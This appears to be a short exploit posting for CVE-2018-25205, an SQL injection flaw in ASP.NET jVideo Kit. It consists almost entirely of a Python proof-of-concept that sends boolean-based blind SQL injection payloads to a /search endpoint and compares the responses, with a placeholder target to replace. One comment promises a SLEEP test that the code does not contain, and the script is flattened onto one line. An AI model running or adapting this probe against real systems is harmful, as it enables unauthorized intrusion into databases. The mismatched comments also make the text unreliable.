CVE-2018-25205: ASP.NET jVideo Kit SQL注入漏洞

import requests def check_sqli(target_url): # The vulnerable endpoint is /search with parameter 'query' url = f"{target_url}/search" # Payload for Boolean-based Blind SQL Injection # This payload attempts to verify if the database waits (SLEEP) or returns a specific true condition # Adjust the payload based on the specific database backend (e.g., MSSQL, MySQL) payload_true = "test' AND 1=1-- -" payload_false = "test' AND 1=2-- -" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: # Sending POST request with the injection payload data = { "query": payload_true } response_true = requests.post(url, data=data, headers=headers, timeout=5) data["query"] = payload_false response_false = requests.post(url, data=data, headers=headers, timeout=5) # Analyze response differences (Status code or Content Length) if response_true.status_code == 200 and response_false.status_code == 200: if response_true.text != response_false.text: print("[+] Potential SQL Injection vulnerability detected!") print(f"True Response Length: {len(response_true.text)}") print(f"False Response Length: {len(response_false.text)}") else: print("[-] Responses are identical, blind injection might require time-based analysis.") else: print(f"[!] Unexpected status codes: True={response_true.status_code}, False={response_false.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with actual target check_sqli(target)